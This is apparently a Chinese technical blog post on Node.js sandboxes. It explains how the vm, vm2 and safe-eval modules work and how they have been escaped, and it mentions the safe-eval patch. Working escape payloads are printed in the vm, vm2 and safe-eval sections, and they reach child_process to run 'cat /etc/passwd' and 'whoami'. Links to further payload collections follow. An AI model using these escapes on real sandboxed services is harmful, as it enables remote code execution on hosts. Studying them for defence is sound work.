什么是沙箱(sandbox)

在计算机安全性方面,沙箱(沙盒、sanbox)是分离运行程序的安全机制,提供一个隔离环境以运行程序。通常情况下,在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止,资源包括内存、网络访问、主机系统等等。

沙箱通常用于执行不受信任的程序或代码,例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。

沙箱技术的实现 & node.js

沙箱技术按照设定的安全策略,限制不可信程序对系统资源的使用来实现,那么就要在访问系统资源之前将程序的系统调用拦截下来,然后按照安全策略对调用进行审查。

基于JavaScript的node.js有一些提供沙箱环境的模块,它们也根据这样的思路来实现,例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。

Proxy 对象用于创建一个对象的代理,从而实现基本操作的拦截和自定义(如属性查找、赋值、枚举、函数调用等)。 – MDN

简单地说,就是在对某个对象进行操作之前,例如访问它的属性或者调用它的方法,先传递给与对象绑定的 Proxy ,由 Proxy 执行具体的逻辑。

例子:

const handler = {get: function(obj, prop) {return prop in obj ? obj[prop] : 37;}
};const p = new Proxy({}, handler);     // 创建一个绑定代理的对象
p.a = 1;
p.b = undefined;console.log(p.a, p.b);      // 1, undefined
console.log('c' in p, p.c); // false, 37

访问 p.c 时,p.c 并未定义,但由于 Proxy 给 p 对象绑定了一个控制器 handler,从而改变访问 p 对象的属性的逻辑,让它为 p.c 返回 37 的值。

从这种拦截调用的思路出发,在 node.js 中可以这样实现一个沙箱环境,在内部访问外部的变量、函数或对象等资源时,将其拦截下来,然后再判断是允许还是禁止。

vm模块

context

vm 模块创建一个V8虚拟引擎 context(上下文、环境)来编译和运行代码。

context 是语境、环境、上下文的意思,类似于文章的语境,一句话的意思需要根据语境推断,即文章的上下文。以此类比,这里的 context 是 JavaScript 代码所处的环境(有点像作用域的概念),一条代码语句在不同的环境执行的结果也不同。

调用代码与被调用代码处于不同的 context,意味着它们的 global 对象是不同的。

例子:

const vm = require('vm');// global下定义一个 x 变量
const x = 1;// context也定义一个 x 变量
const context = { x: 2 };
vm.createContext(context);          // 语境化 {x:2}// code包含的代码将在 context 下执行,所以其中所有代码访问的变量都是 context 下的
const code = 'x += 40; var y = 17;';
vm.runInContext(code, context);// context = {x:42, y:17}
console.log(context.x); // 42
console.log(context.y); // 17// global没有被改动
console.log(x); // 1; y is not defined.

code执行的环境是 context ,它访问的全局对象就是访问自定义的 context 对象。

contextify 语境化

根据 V8 引擎的文档指明:

在 V8 中,context 是一个执行环境,它允许在隔离的、无关联的一个 V8 实例中运行 JavaScript 应用。你必须为运行的任何JavaScript代码指定所应该处于的 context。

vm.createContext() 有一个 contextobject 参数,用于接收一个对象(如果没有,就在模块内部创建一个),所谓语境化就是创建一个 context(对象) 然后传入 contextObject 作为代码执行环境的过程。

vm逃逸

vm创建一个新的 context 执行 JavaScript 代码,不能访问 global 对象,看起来就像一个沙箱了。

例如我们想要访问 process:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`process`);   // 默认 context = {}
console.log(xyz);

结果:

预料之中,因为 process 不存在于新的 context,它存在于原来的 context 中,而原来的 context 的 global 对象有 process 属性:

"use strict";
console.log(process)

结果:

通过对象带有的 constructor 属性逃逸:

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor('return process.env')()`);
console.log(xyz);  // xyz的值为最后一句JavaScript代码执行的结果,这里是函数返回值

结果:

this引用的是当前所在的一个对象,这里是传入 contextObject 的对象,它在外部定义,所以它属于外部的 context。通过 .constructor 得到 Object Contrustor ,再通过 .constructor 得到 Function constructor,这是函数的构造函数,通过传入一个包含代码的字符串参数就能创建一个新的函数,最后的 () 就是调用这个函数。

获得 process 之后就能 RCE 了。

"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()`);
console.log(xyz);

vm2模块

nodejs.js 内置的 vm 模块提供的沙箱环境的隔离程度不高,因此最好不要执行不受信任的代码,这一点在node.js文档中明确指出。

vm2是一个第三方模块,基于vm模块、Proxy特性、require重写来实现,能提供隔离程度更高的沙箱。

vm的例子在vm2运行:

"use strict";
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")()');

结果:

这次通过 this.constructor.constructor 也不能获取 process 了。这是由于 vm2 语境化了在 vm context 中的所有对象,.constructor指向的构造函数并不是外部的 context 。

// vm
"use strict";
const vm = require("vm");
const xyz = vm.runInNewContext(`this.constructor.constructor`);
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor);       // true// vm2
"use strict";
const {VM} = require('vm2');
const xyz = new VM().run('this.constructor.constructor');
console.log(xyz)                       // Function: Function
console.log(xyz === {}.constructor.constructor)        // false

vm2逃逸

逃逸的思路:我们需要一些沙箱外的东西,它不在沙箱 context 的限制范围内,通过它就能再次访问 constructor

异常处理机制 try catch 就能做到这一点,主进程在 try 抛出异常,然后在 catch 捕获 error 对象,通过这个 error 对象引用到 process

const {NodeVM} = require('vm2');
nvm = new NodeVM()nvm.run(`try {this.process.removeListener(); } catch (host_exception) {console.log('host exception: ' + host_exception.toString());// 通过 error 对象引用host_constructor = host_exception.constructor.constructor;host_process = host_constructor('return this')().process;child_process = host_process.mainModule.require("child_process");console.log(child_process.execSync("whoami").toString());}`);

结果:

safe-eval模块

safe-eval 第三方模块基于内置模块 vm 实现,可以用于执行 JavaScript 代码,默认能访问 V8 引擎的 JavaScript APIs,而不能访问 node.js 的 APIs,但通过传入 context 也能实现对它们的访问。

safeEval(code, [context], [options])

context 是一个包含属性和方法的对象,这些方法和属性从全局,所以要注意传入的属性和方法,否则会造成沙箱逃逸。

safe-eval逃逸

在 version <= 0.3.0 中,safe-eval 存在沙箱逃逸的漏洞:

>npm i safe-eval@0.3.0
// test.js
const safeEval = require('safe-eval')
var code = `this.constructor.constructor('return process')()
`
var evaluated = safeEval(code)
console.log(evaluated)            // process [....]

0.4.0 的修补方法是将对象的 constructor 重新定义为 undefined,包括在 context 传入的对象:

const safeEval = require('safe-eval')var code = 'this.constructor'
var evaluated = safeEval(code)
console.log(evaluated)             // undefinedvar code = 'a'
var evaluated2 = safeEval(code, {a:{})
console.log(evaluated2)           // {constructor: undefined}

更多逃逸payload

https://github.com/patriksimek/vm2/issues?q=is%3Aissue+author%3AXmiliaH+is%3Aclosed

https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af

Node.js沙箱逃逸相关推荐

  1. Node.js 沙箱易受原型污染攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 研究人员表示,用于测试不可信 JavaScript 代码的沙箱 vm2 中存在一个漏洞,可使恶意人员规避该库的安全控制并执行远程代码执行攻击. ...

  2. Node.js 沙箱环境

    node官方文档里提到node的vm模块可以用来做沙箱环境执行代码,对代码的上下文环境做隔离. \A common use case is to run the code in a sandboxed ...

  3. Node.js 修复4个漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Node.js 开发人员发布新版本,修复了四个漏洞. Node.js 是用于构建可扩展网络应用程序的流行 JavaScript 运行时环境.在这 ...

  4. 浅谈NPM,vm,vm2,Node.js沙盒逃逸

    NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准. NPM由三部分组成:网站,注册表(registry),命令 ...

  5. Vue node.js实现支付宝支付(沙箱测试)

    一.支付宝开放平台创建应用:打开支付宝开放平台首页(注意:正式环境.沙箱环境都需要此步) 1.选择开发者中心 ---> 网页&移动应用 (此时是实现网站支付功能) 2.选择支付接入 3. ...

  6. node.js 沙盒逃逸分析

    作者: 凹凸曼 - nobo 背景 日常开发需求中有时候为了追求灵活性或降低开发难度,会在业务代码里直接使用 eval/Function/vm 等功能,其中 eval/Function 算是动态执行 ...

  7. [HITCON 2016]Leaking-nodejsVM沙箱逃逸

    [HITCON 2016]Leaking 最近想学下nodejs相关的题目,所以去buu上又找了一道来做 进入题目后如上图所示,直接给出了源代码,老样子,拿出之前收藏的nodejs相关安全问题来对比着 ...

  8. [HITCON 2016]Leaking沙箱逃逸学习

    [HITCON 2016]Leaking沙箱逃逸学习 node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击.但是这道题比较有意思 考点是 ...

  9. 【严重】vm2 <3.9.15 沙箱逃逸漏洞(CVE-2023-29017)

    漏洞描述 vm2 是一个沙箱,用于在 Node.js 环境中运行不受信任的代码.宿主对象(Host objects)是指由 Node.js 的宿主环境提供的对象,例如全局对象.文件系统或网络请求等. ...

最新文章

  1. Linux 下使用 NMON 分析系统性能
  2. pt1000温度对照表_温度传感器的常用检测方法
  3. 关于SAP Commerce Cloud OCC API url里不包含user信息的问题
  4. Spring Bean 定义
  5. swfit-学习笔记(数组的使用)
  6. hyper-v 安装centos7 后,虚拟机无法访问网络。
  7. java中length的用法
  8. java 测试 jar_java – 从可执行jar运行spring测试
  9. 2021年起,WPS Office纳入全国计算机等级考试二级考试软件
  10. kali linux怎么入侵手机,Kali Linux-Metasploit入侵Android手机
  11. 经典信息图表:2013 扁平设计 VS 拟物设计
  12. uni-app中$navigateTo失效
  13. OpenGL多重纹理使用与理解
  14. 快速下载/上传google drive文件的方法
  15. Dream_Chaser队训练赛第一场 I题
  16. 怎么把图片的分辨率调高?如何调整图片分辨率?
  17. Java基础篇(集合)
  18. mc服务器音乐文件夹在哪,我的世界 自定义音乐添加方法 MC怎么自定义音乐
  19. 算法练习——判断链表是否有环 leetcode.141 python
  20. CSP登机牌条码202112-3

热门文章

  1. C语言-怎么写一个自己的qsort函数
  2. jsp+ssm计算机毕业设计高校教师教学助手系统的设计与实现【附源码】
  3. 用C语言编写几种查找质数的方法
  4. MongoDB 聚合管道中使用字符串表达式运算符
  5. 那年少年时,你在做什么呢
  6. 【一起入门MachineLearning】中科院机器学习-期末题库-【单选题54,47,51,55,64+简答题8,10,23】
  7. 如何判断一个数是不是完全平方数
  8. Android调用系统安装程序打开本地文件(包括 Android7.0以上)
  9. 广西教师招聘需要计算机考试证,2020广西教师招聘要求条件
  10. 缓存读写策略 Cache Aside Pattern,开发必备